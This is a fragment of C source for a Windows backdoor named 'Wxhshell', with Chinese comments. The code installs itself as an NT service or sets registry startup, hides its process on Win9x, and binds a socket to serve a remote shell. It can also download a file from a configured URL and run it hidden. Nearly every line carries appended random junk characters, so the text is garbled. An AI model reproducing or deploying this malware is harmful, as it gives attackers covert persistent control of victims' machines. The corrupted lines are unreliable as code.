DWORD BasePriority; 0)T`&u3!
ULONG UniqueProcessId; Ed=]RR4R
ULONG InheritedFromUniqueProcessId; E{B=%ZNnm
} PROCESS_BASIC_INFORMATION; |$aTJ9 Iq:
>,s.!vpK
PROCNTQSIP NtQueryInformationProcess; ;^Hg\a
&$+nuUA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dyMj=e
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WyDL ah^/
n%1I}?$fO
HANDLE hProcess; i%eq!q
PROCESS_BASIC_INFORMATION pbi; `U[s d*C"
?ta(`+"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ej9|Y5D"S
if(NULL == hInst ) return 0; {Mx3G*hr
.|Zt&5osI
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A,'JmF$d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B>"O~ gZ{#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SBynu
+X &b
if (!NtQueryInformationProcess) return 0; Zr
U9oy&!C
?*h2:a$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &mJ
+#vT
if(!hProcess) return 0; h8me.=S&
WC<K(PP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uw,p\:D&
2AK]x`GY
CloseHandle(hProcess); mFdj+ &2\
eH9Ofhsry
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /<WK2G
if(hProcess==NULL) return 0; b ?-VZA:
N akSIGm
HMODULE hMod; fXJbC+
char procName[255]; [TFd|ywn
unsigned long cbNeeded; 7(oX1hN
vOKWi:-U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ug1n4X3FKn
lE@ V>%b
CloseHandle(hProcess); d} `Z| ex
8Q2qroT
if(strstr(procName,"services")) return 1; // 以服务启动 V<%eWT)x7C
9;*-y$@
return 0; // 注册表启动 &>]c"?C*
} ;5(ptXX1W
8vL2<VT;
// 主模块 q;<=MO/
int StartWxhshell(LPSTR lpCmdLine) m5/d=k0l
{ byW9]('e
SOCKET wsl; a\BV%'Zqg
BOOL val=TRUE; fI([vI
int port=0; 5i42o+'
struct sockaddr_in door; 71GyMtX
#-*#? -
if(wscfg.ws_autoins) Install(); 0~:Eo89
Z:2a_Atm
port=atoi(lpCmdLine); HpX ;:/I
;I^+u0ga
if(port<=0) port=wscfg.ws_port; g*& |Eq/
|{a`,%mw
WSADATA data; "7&DuF$s)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9h$08l
jLZ^EM-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c{X:0man
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lPywrTG0
door.sin_family = AF_INET; [m9Iz!E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Ct^{k~1
door.sin_port = htons(port); f*ICZM
Z&VH7gi
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x]=s/+Y
closesocket(wsl); {#,eD
return 1;
RrG5`2
} 7i$)iNW
7|/Ct;oO:
if(listen(wsl,2) == INVALID_SOCKET) { $yA>j (k4
closesocket(wsl); x&kM /z?/
return 1; +"i|)yUYy}
} &Is}<Ew
Wxhshell(wsl); &*4C{N
WSACleanup(); nbECEQ:|B
dpPu&m+
return 0; kU
{>hG4
5@kNvi
} oXxY$x*R1
\[57Dmo
// 以NT服务方式启动 ls928
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |v6kZ0B<
{ 3m#/1=@o
DWORD status = 0; aA|<W
g
DWORD specificError = 0xfffffff; XJ3p<
Ww[Xqmg
serviceStatus.dwServiceType = SERVICE_WIN32; P,}cH;w6Ck
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fUg<+|v*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5>e#SW
serviceStatus.dwWin32ExitCode = 0; DQ86(4e*g#
serviceStatus.dwServiceSpecificExitCode = 0; l
7XeZ} S
serviceStatus.dwCheckPoint = 0; $:i%\7=
serviceStatus.dwWaitHint = 0; 7^2
1_of;=9V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;tZ;C(;<
if (hServiceStatusHandle==0) return; k"z ~>
I+4#LR3;
status = GetLastError(); =G9 9U/
if (status!=NO_ERROR) <U]!1
{ qq,#bRe
serviceStatus.dwCurrentState = SERVICE_STOPPED; `u't
serviceStatus.dwCheckPoint = 0; ~fV\
X*
serviceStatus.dwWaitHint = 0; V8Fp1?E9S
serviceStatus.dwWin32ExitCode = status; {#_CzI.0f
serviceStatus.dwServiceSpecificExitCode = specificError; UK7pQt}9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Ucs9w3[
return; 'BiR ,M$mY
} =Lc!L
!(,b
Hrk]6*
serviceStatus.dwCurrentState = SERVICE_RUNNING; \|gE=5!Am=
serviceStatus.dwCheckPoint = 0; ]2 7
serviceStatus.dwWaitHint = 0; )43\q Iu\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y_gMoo
} @BfJb[A#
l@irAtg4
// 处理NT服务事件,比如:启动、停止 l:i&l?>_
VOID WINAPI NTServiceHandler(DWORD fdwControl) RnaxRnXVR
{ J2BCaAwEP,
switch(fdwControl) ;K$ !c5
{ i0TbsoKh:
case SERVICE_CONTROL_STOP: (\8~W*ej"
serviceStatus.dwWin32ExitCode = 0; RXD*;B$v
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~\oF}7l$
serviceStatus.dwCheckPoint = 0; p|gzU$FWbk
serviceStatus.dwWaitHint = 0; :Rftn6!
{ e2><Y<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GGQ%/i]:
} i!a.6Gq
return; b4R;#rm
case SERVICE_CONTROL_PAUSE: Z0'&@P$
serviceStatus.dwCurrentState = SERVICE_PAUSED; AL;z's(F?
break; \`:nmFO(9
case SERVICE_CONTROL_CONTINUE: AbExJ~JV\g
serviceStatus.dwCurrentState = SERVICE_RUNNING; F4*ssx
break; 4x)etH^o
case SERVICE_CONTROL_INTERROGATE: 1o8C4?T&
break; Ov-Y.+L:
}; !S3^{l-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ixY[ HDPq
} /=(PMoZu
TlEd#XQgf&
// 标准应用程序主函数 j%`%
DQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s 0To^I
{ _t/~C*=:=
BI| TM2oa
// 获取操作系统版本 z%Eok
OsIsNt=GetOsVer(); CK"OHjR
GetModuleFileName(NULL,ExeFile,MAX_PATH); tgVMgu
.}c&"L;W
// 从命令行安装 &Yklf?EZ>Q
if(strpbrk(lpCmdLine,"iI")) Install(); i<b-$9
Q;xJ/4 Z"
// 下载执行文件 L[cP2X]NQ
if(wscfg.ws_downexe) { o}p^q:T*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rHa*WA;TE
WinExec(wscfg.ws_filenam,SW_HIDE); z@21Z`,
} 11((b
}WV}in0
if(!OsIsNt) { t+ vz=`
// 如果时win9x,隐藏进程并且设置为注册表启动 A`:a
T{j
HideProc(); W5Uw=!LdEY
StartWxhshell(lpCmdLine); =o5|W'>`
} `PUGg[Zx^
else UasU/Q <
if(StartFromService()) w$DHMpW'
// 以服务方式启动 t}YT+S
StartServiceCtrlDispatcher(DispatchTable); &e6!/y&
else ^?8/9o
// 普通方式启动 ;EB^1*AEw
StartWxhshell(lpCmdLine); q"e]\Tb=we
0NF=7 j
return 0; ZYS]Et[Q
}